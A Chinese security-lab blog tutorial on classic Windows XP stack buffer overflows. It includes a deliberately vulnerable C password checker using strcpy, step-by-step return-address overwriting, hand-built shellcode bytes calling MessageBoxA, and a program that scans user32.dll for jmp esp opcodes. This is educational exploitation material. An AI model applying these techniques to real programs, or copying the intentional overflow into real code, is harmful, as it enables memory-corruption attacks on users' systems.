戟星安全实验室
本文约4122字,阅读约需11分钟。
栈溢出--返回地址覆盖
代码源码:功能是从文本里面读一段数字是否匹配密码
环境:利用windows xp vs6.0生成的exe
在win10下面我生成的无法成功栈溢出
下面关键溢出代码:
char buffer[8];//局部变量会放在栈中,利用strcpy来溢出
strcpy(buffer,password);//over flowed here! password比 buffer大
溢出覆盖原来返回的地址。
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#define PASSWORD "1234567"
int verify_password (char *password)
{
int authenticated;
char buffer[8];//局部变量会放在栈中,利用strcpy来溢出
authenticated=strcmp(password,PASSWORD);
strcpy(buffer,password);//over flowed here!
return authenticated;
}
void main()
{
int valid_flag=0;
char password[1024];
FILE * fp;
if(!(fp=fopen("password.txt","rw+")))
{
exit(0);
}
fscanf(fp,"%s",password);
valid_flag = verify_password(password);
if(valid_flag)
{
printf("incorrect password!\n");
}
else
{
printf("Congratulation! You have passed the verification!\n");
}
fclose(fp);
}
调试
password.txt的为12345679+0x00,比8个字节多一个,溢出覆盖了前一个局部变量
再往下是保存的上个栈底:0012FF80
再往下就是上一个函数的下一跳地址,也是这个函数结束后跳到的地址:00401111
如果这个地址被覆盖,就造成栈溢出
算了一下,第17个字节开始就是返回地址,覆盖它看看
改为0040112c 让它打印出Congratu....这段话
构造payload
上面的写法是错误,应该把地址倒过来写,小端序
运行:
直接覆盖返回地址
手动注入代码
用前一小节栈溢出的代码。
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#define PASSWORD "1234567"
int verify_password (char *password)
{
int authenticated;//在栈中,占一个32位
char buffer[8];//局部变量会放在栈中,利用strcpy来溢出
authenticated=strcmp(password,PASSWORD);
strcpy(buffer,password);//over flowed here!
return authenticated;
}
void main()
{
int valid_flag=0;
char password[1024];
FILE * fp;
if(!(fp=fopen("password.txt","rw+")))
{
exit(0);
}
fscanf(fp,"%s",password);
valid_flag = verify_password(password);
if(valid_flag)
{
printf("incorrect password!\n");
}
else
{
printf("Congratulation! You have passed the verification!\n");
}
fclose(fp);
}
目的:注入一段代码实现弹窗
MessageBox 这是弹窗的api,其实就是MessageBoxA或者MessageBoxW
找到这个api的在本机的地址:(这个方法只能在本机有用,不通用)
找到api的地址
MessageBoxA这个api在user32.dll这个模块里面
地址:base(模块基地址)+offset(函数地址)
打开Depends这个工具
随便拖进去打开一个exe文件,找到user32.dll
找到它的基地址:0x77d10000
找到MessageBoxA函数的内存偏移:0x000407EA
相加得:0x77d10000+0x000407EA=0x77D507EA
构造汇编代码
MessageBoxA有四个参数,都是用栈传递,再call
构造完毕,但是如果像上面这样写,会有00截断,换一种方法
再更改下:(这是后面换的)
复制汇编代码出来
33 DB 53 53 53 53 E8 EA 30 93 77
粘贴到password.txt中
修改跳转地址
问题1:可以控制的栈太短了,跳到执行的时候,push四个0的时候把代码段覆盖了,导致这个实验失败。
问题2:0x77D507EA这个地址在这个exe找不到,因为没有导入user32.dll这个模块,所以找不到这个地址
更改代码
(1)把buffer调大点,调为44个字节
(2)把api需要的模块加进去LoadLibrary("user32.dll");
#include <stdio.h>
#include <stdlib.h>
#include <windows.h>
#include <string.h>
#define PASSWORD "1234567"
int verify_password (char *password)
{
int authenticated;//在栈中,占一个32位
char buffer[44];//局部变量会放在栈中,利用strcpy来溢出
authenticated=strcmp(password,PASSWORD);
strcpy(buffer,password);//over flowed here!
return authenticated;
}
void main()
{
int valid_flag=0;
char password[1024];
LoadLibrary("user32.dll");
FILE * fp;
if(!(fp=fopen("password.txt","rw+")))
{
exit(0);
}
fscanf(fp,"%s",password);
valid_flag = verify_password(password);
if(valid_flag)
{
printf("incorrect password!\n");
}
else
{
printf("Congratulation! You have passed the verification!\n");
}
fclose(fp);
}
生成exe
44+8=52字节(8个字节中,有4个字节是前一个局部变量的,有4个是保存栈底的地址,才到函数返回地址)
第53个是跳转地址,这个地方写跳转地址。因为我们在xp电脑上做实验,栈的地址和exe的基地址都是不变,地址才能写死。
构造汇编代码:
0012FAF4 33DB XOR EBX,EBX
0012FAF6 53 PUSH EBX
0012FAF7 53 PUSH EBX
0012FAF8 53 PUSH EBX
0012FAF9 53 PUSH EBX
0012FAFA B8 EA07D577 MOV EAX,user32.MessageBoxA
0012FAFF FFD0 CALL EAX
构造payload:
运行后,直接走到我们注入的代码,运行,弹一个窗出来。
手动注入总结
其实就是,利用栈溢出,覆盖修改返回地址,返回地址指向自己注入的汇编代码的地方,注入的汇编代码也是放在栈中,要注意放在栈中的代码容易被栈自己覆盖,这就是我第一次实验失败的原因。
鸡肋1:本地获取到函数地址,其他机器上就不通用了。
鸡肋2:返回地址写死,如果在动态基址就不行了
shellcode开发-概念
1.如何定位shellcode?
2.如何定位函数地址?
3.如何去除“坏”字符?
定位ShellCode
找一个jum esp的汇编代码
例如:0x01234567 FFE4 jum esp
ret---->0x01234567
然后就会jum到esp,我们的shellcode卸载esp下面。
代码寻找 jum esp指令
#include <stdio.h>
#include <stdlib.h>
#include <windows.h>
#define DLL_NAME "user32.dll"
int main()
{
HINSTANCE hDllHandle = LoadLibrary(DLL_NAME);
if(!hDllHandle)
{
exit(0);
}
BYTE * ptr;
ptr = (BYTE*)hDllHandle;
BOOL flag = false;
int count = 0;
for(int i = 0;!flag;i++)
{
if(ptr[i] == 0xFF && ptr[i + 1] == 0xE4)
{
int address = (int)ptr + i;
printf("opcode address:0x%x\n",address);
count++;
if(count == 50)
{
system("pause");
}
}
}
return 0;
}
调试ShellCode
往期回顾
声明
由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,戟星安全实验室及文章作者不为此承担任何责任。
戟星安全实验室拥有对此文章的修改和解释权。如欲转载或传播此文章,必须保证此文章的完整性,包括版权声明等全部内容。未经戟星安全实验室允许,不得任意修改或者增减此文章内容,不得以任何方式将其用于商业目的。
戟星安全实验室
# 长按二维码 || 点击下方名片 关注我们 #